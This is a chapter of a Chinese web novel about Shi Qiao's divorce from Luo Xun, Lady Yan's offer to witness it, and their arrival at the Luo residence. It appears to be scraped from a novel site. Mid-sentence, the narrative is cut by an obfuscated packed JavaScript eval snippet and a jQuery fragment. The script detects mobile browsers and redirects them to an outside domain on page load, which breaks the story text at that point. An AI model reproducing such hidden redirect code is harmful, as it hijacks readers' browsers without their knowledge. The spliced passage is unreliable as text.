素心住了口，背过身去拿着帕子擦眼泪。 时乔看着罗珣，“罗大人若是好奇，可以去问靖国公。” 她的面庞似被月光洗过，清冷，平淡。 她此时已不觉得难过，反倒庆幸没因此而节外生枝，耽搁了和离。 罗珣注视着她，凤眸沉凝。 她是一句多余的话都不愿意跟他说了。 她若能如素心那般愤恨，指责他，他反倒会更高兴。有爱才会生恨，那就说明在她心里，他还有一点点的位置。 可她没有。她的心，被那个人填得满满的，容不得任何人入驻。 听见时乔再次问，“嫁妆银子，罗大人可是准备好了？” 罗珣压下心头那又来作祟的占有欲，道：“备好了，至于见证人……” 他语气一顿，“你在京中无甚熟识，你若信得过我，另一位便由我来帮你找，如何？” 按大周律，和离书上需有两位见证人签字，标明分产无异议，方能去府衙报官呈籍，府衙盖上官印，和离书方生效。男女双方重分户籍，各归本宗。 这见证人，需德高望重或有一定身份地位，通常双方各请一位，以示公正。 时乔在京中哪里认得这样的人？如今她与罗珣无甚分歧，见证人不过是走个过场，倒也不必太在意这个。 时乔正打算应下，就听门外传来女子的声音，“时姑娘可在？” 素心开门，只见一位身着玫瑰紫云锦斗篷的贵妇人含笑而立，她鬓发梳得一丝不苟，耳畔一对东珠坠子衬得她面容丰润，神采飞扬。 她不待时乔询问，便笑着自报家门：“冒昧打扰，我乃大理寺卿阎和的内眷。方才路过，看见罗侍郎进来，想着外子与罗大人同朝为官，特来拜会。” 话音未落，她的目光已掠过屋内的罗珣，最终落在时乔身上，笑意更深了几分：“看来时姑娘是不记得我了。当年你们大婚，我还送了你一对金手镯呢！” 她这么一提醒时乔记起来了。 这位阎夫人和夏如蔷的母亲王氏不对付，为了落王氏脸面，送了她一对粗粗的金手镯作添妆，可送给夏如蔷的，却是一对细脚伶仃的金耳坠。王氏当场就变了脸色，却也不能奈她如何。 时乔割发断亲时，也是阎夫人第一个发声支持她，给了夏明举很大的压力。 时乔忙向她福礼，“阎夫人安好，是我眼拙了。” “那么多去添妆的，你认不过来很正常。”阎夫人上前两步，亲热地拉住她的手，“不过我可记着你呢，割发断亲，有几个女子能有这般魄力？” “还没谢夫人当日相助之恩。”时乔又要行礼，却被阎夫人挡下了，睨了罗珣一眼，“你们这是……” 时乔心念一动，这不就是现成的见证人吗？ 她道：“夫人恐也有耳闻，我与罗大人已签了和离书，只是如今缺个见证人……” 阎夫人一拍手，“找我呀！我正好闲着没事！” 她转向罗珣，“罗大人，你没意见吧？” 自阎夫人一进门，罗珣就知道，今日怕是清净不了了。 他颔首，“寺卿夫人热忱，只要时乔应下，罗某自无异议。” 素心见时乔这是要出门，忙上前阻拦，“姑娘，不若您先养养身子，过两日再去？” 罗珣闻言又瞧了瞧时乔面色，并未觉出不妥，却还是出言道：“要不就迟几日……” “不必。” 时乔打断他，转身携着阎夫人出了房门。 19. 第 19 章 时乔没有马车，阎夫人邀她共乘一辆。 阎夫人瞧着身边沉静安然的女子，不施粉黛，眉眼间山水寂寥，淡得像一缕缥缈的轻烟，似乎风一吹就散了，全然没了当年妩媚动人的好颜色。 惋惜之余，她又不禁疑惑。 那么，靖国公到底是因着什么，对时乔如此上心的？ 三日前时乔吐血，靖国公闹市纵马、扛着道士疾驰的惊人之举，旁人或许只当他是在办案，可自家老爷在客栈有线人，怎么能瞒过他的眼。 靖国公抓人杀人不奇怪，救人，便值得好好品味了。 时乔有何能耐，能让泰山崩于前而面不改色的靖国公如此失态？ 还有，此前不久，李四跑去阎府请她，“你不是不喜夏夫人吗，出气的机会到了。” 李四没提靖国公，可他们清楚，这就是靖国公的意思。 她确实不喜夏王氏，也乐意在这种时候出头解解气，可靖国公是如何知道的？妇人之间的斗气，又何须他这般郑重其事地插手？ 她家老爷一句话点名靖国公来意：“你此行不是为解气，是为时乔撑腰。” 至于其中内情，不但自家老爷好奇，她也很好奇。 美色？ 若放在以前还有可能，可现下，美色凋零了啊。 旧情？ 更不可能。靖国公常年守在西北的落鹰关，时乔则在北境的庆原府，千里之遥、八竿子打不着的两个人，哪里产生旧情去？ 再者说了，靖国公也不是那种会谈情说爱的人啊！ 一向爽利的她，一时竟忘了说话。 倒是时乔先开口了。 “夫人有什么话，但说无妨。” 阎夫人这才回过神来，尴尬地抚了抚鬓角，“我只是觉得，时姑娘变化颇大，我都不敢认了。” 时乔淡然一笑，“大家都这么说。” 阎夫人顿觉失言，哪能往人伤口上撒盐？她慌忙补救：“毕竟是大病初愈，再将养些时日，时姑娘定然风采照人。” 时乔微笑，“谢夫人吉言。” 这些年她的心思全在麦田上，容貌美丑，她从未关注过。若不是到京城这两趟，她没意识到自己曾经是个美人，也没意识到现在是残花败柳。 不过阎夫人这番略显小心翼翼的解释，倒让她颇奇怪。 不出意外她今日就能和罗珣和离，和离之后便是平民之身，阎夫人堂堂寺卿夫人，何须如此纡尊降贵？ 阎夫人踌躇片刻，试探问：“我方才在客栈门口遇到了靖国公，时姑娘与他熟识？” 时乔恍然，原来让她敬畏的，是靖国公。 “说不上熟识，只在庆原府远远见过一面，连彼此模样都没看清。” 阎夫人笑睨着她，“那一面，是在庆原府城门口见的吧？” 时乔一怔，“夫人从何得知？” “姑娘竟不知情？”阎夫人略显诧异，“靖国公凯旋后，曾在朝堂上极力反对罗大人娶平妻。他直言你有守城有功，不该受此薄待。” 时乔怔然道：“竟是满朝皆知。” “是啊，大家都知道。”阎夫人叹道：“只可惜在陛下眼中，这份功劳终究比不过实实在在的筹粮之功，只赞了句‘罗卿治家有方，内助有德’。” 时乔心中一阵悲凉。 她苦心保守的秘密，这个即便被罗珣抛弃也未曾宣之于众的秘密，原来竟如此不值一提。 灾难未真正临头，功劳便总是轻的。 于皇上而言，城破的危机既未发生，朔北粮仓也安然无恙，未发生饿殍遍野民乱横生，未曾亲历那切肤之痛，她的功劳自然便轻如鸿毛。 于罗氏一族而言，闸刀不曾架上脖颈，她的救命之恩，便被当从未存在过。 所以，罗珣娶平妻、和离，她拖着病重之躯蜗居客栈，他们自始至终冷眼旁观，甚至，立场坚定地站在她的对立面。 她的背后空荡荡的，空无一人。 时乔苦笑，“原来我苦苦戍守的，不过是座空城。” 阎夫人见她如此，又重重叹了口气。 罗家人确实没良心。皇上装糊涂，是因为要顾全大局，户部不能没有罗侍郎。可他们罗家人却不能装糊涂，罗珣和几个族人都身在官场，难道不知时乔守城的分量？ 连她这个陌生人，都替时乔不值！ 她暗暗摩拳擦掌，哪怕没有靖国公嘱托，她也要为时乔出口恶气！ 倏而，她灵光一闪，靖国公对时乔的感情，或许是因此而起的？ 就如她一般，由对巾帼英雄的敬佩，转为同情，愤慨，最终转为……爱慕？ 想通了这一点，她再看向时乔的目光，便意味深长了许多。 马车辘辘，半个时辰后，行至玉兰巷，从罗府侧门入，穿过外院，最终在垂花门前稳稳停住。 时乔下车时，刘管事正在给罗珣禀话，“南城的三老太爷和四老太爷已经到了，在会客厅喝茶。” 罗珣颔首，表示知道了。 三老太爷和四老太爷是族中长辈，其中三老太爷是族长，两人都曾在朝为官，虽官职不高，却也算有些威望。 母亲本意是家丑不可外扬，让族中长辈作见证人最合适不过，如今看来是不可能了。他倒无甚在意，母亲恐怕又要气恼一阵子，还有如蔷，怕要受些委屈了。 如此也好，这些本就是罗家该付出的代价。 刘管事见自家老爷神色淡漠，一副不着急的样子，心里只能干着急，却不敢相劝。老爷主意一向正，不喜旁人干涉他的决定。 余光瞥见时乔已下马车，他忙快步迎上去，躬身问安，笑着道：“老夫人听说您回来，一直在上房等着呢。” 在阎夫人道出那番话之前，时乔或许还肯见罗老夫人一面，也算好聚好散，给彼此留些体面。可现在，她却半分礼数情面都不愿与这家人讲了。 她语气疏淡：“和离终究不是喜事，相见无言，反倒惹老人家伤怀。请刘管事代我向老夫人问安便是。” 刘管事没料到她竟会回绝，毕竟自时乔嫁入罗府，老夫人虽心有不满，却不曾薄待过她，甚至在老爷娶平妻时，还出言维护时乔。如今老夫人有心挽留，时乔哪怕再怨愤老爷，也该去见一面，给彼此留些体面才是。 现下大理寺卿夫人也来了，他更得将人请去正院才是。老夫人在京中颇有威望，且与阎夫人娘家有几分渊源，说不得阎夫人能看在老夫人的面子上，不掺和此事。 此番心理也不过是一瞬间，刘管事躬身赔笑道：“老夫人日日惦记着夫人您呢，茶饭都不香了。您看……要不过去稍坐片刻？” 他话音未落，一旁便传来一声轻笑。 “唷，罗府的规矩还真是不一般。” 阎夫人唇角勾着讥笑，“媳妇儿为你们罗家命都搭上半条，却被你们逼得和离，临要走了，还得去跟前磕头请安？知道的呢，说一声老夫人重规矩讲礼数。不知道的，还当罗家欺负时姑娘没娘家撑腰呢！” 刘管事脸色一白， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519642|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没成想阎夫人竟半分颜面也不给老夫人留，此言若是传出去，老夫人恐怕更不必做人了。 他慌忙辩解：“寺卿夫人言重了！我们老夫人万万没有这个意思，实在是……” “不必说了。” 罗珣抬手打断，“听夫人的，去熙园。” - 正院。 上房明堂，罗老夫人坐在榻上，靠在引枕上，沉眉敛目，手里捻着佛珠。 夏如蔷坐在榻下绣凳上，手里剥着松子，所剥松子皆放在一个甜白釉仰莲式小碟里。 剥了小半个时辰，松子已堆满了碟，罗老夫人却一颗未吃。 想起老夫人方才的叮嘱，夏如蔷只觉得好笑。老夫人竟要她以姐妹之情劝劝时乔，盼着时乔回心转意。 倒也无需她来劝，老夫人很快便会如愿。时乔做了夏家鬼，便能长长久久做她儿媳妇了。 门外传来丫鬟的说话声，罗老夫人睁开眼。 帘子掀开，一身着绿色比甲的丫鬟进来禀道：“老夫人，二门传话过来，说老爷和夫人回来了，一同来的还有大理寺卿夫人，人已经进垂花门。” 话音未落，夏如蔷的手一颤，手里的松子落到了地上。 罗老夫人坐直身子，吩咐身旁的丫鬟，“去沏壶好茶。”她顿了顿，“就二夫人刚送来的雾山冬茶吧。” 禀话的绿衣丫鬟一愣，忙道：“老夫人，他们不来正院了，说直接去熙园。” 罗老夫人面色微沉。 须臾，她轻叹了口气，转头看向怔愣的夏如蔷，“夏氏，你这做妹妹的，是不是该去迎一迎。” 夏如蔷回过神，应了声，起身出门。 直到在熙园门口真真切切望见时乔的身影，她心底那丝侥幸才彻底湮灭，时乔竟真的没死。 她暗暗吸了口气，脸上瞬间绽开一团和煦得体的笑容，快步迎上前，“姐姐回来了！” 时乔却连眼风都未扫向她，只侧身对阎夫人温声道：“夫人，这里便是熙园了，您请。” 夏如蔷对这番冷遇并不在意，却在目光转向罗珣时，恰到好处地流露出一丝失落，强撑着笑意向阎夫人行了个晚辈礼：“给夫人请安。” 阎夫人也如同没瞧见她这个人一般，只笑着拍了拍时乔的手：“我略通风水，正好瞧瞧这院子到底犯了什么忌讳，咋就招来这么多晦气。” 两人说着话儿，越过夏如蔷进了熙园。 夏如蔷还保持着屈膝行礼的姿势，像是怔在了原地。 直到罗珣提醒“走吧”，她方直起身，对着罗珣露出一抹得体的笑意，与他并肩而行。罗珣瞧了她一眼，虽觉在时乔面前，如此与她同行难免不妥，可如蔷到底是他夫人，又心性要强，他也没有在外人前落她脸面的道理。 最终他只快行一步，与夏如蔷隔开半步的距离。 阎夫人进门时回头看了一眼。 新妇一身大红色十样锦褙子，端庄雍容，看向身边人的目光含情脉脉，比起衣着素净从不肯低头示弱的时乔确实更惹人怜爱。 瞧这两人伉俪情深、并肩而行的模样，也难怪时乔宁愿舍弃这侍郎夫人的身份，也要执意和离。 时乔若是勉强留在罗府，在他们面前，只能是个可怜的局外人吧。 阎夫人收回目光，转而看向身旁的时乔。 本以为重回这新房旧地，时乔多少会流露出几分黯然，可她始终神色平静，甚至连正房都未瞧一眼，便径直进了东厢房。 分明已经心死。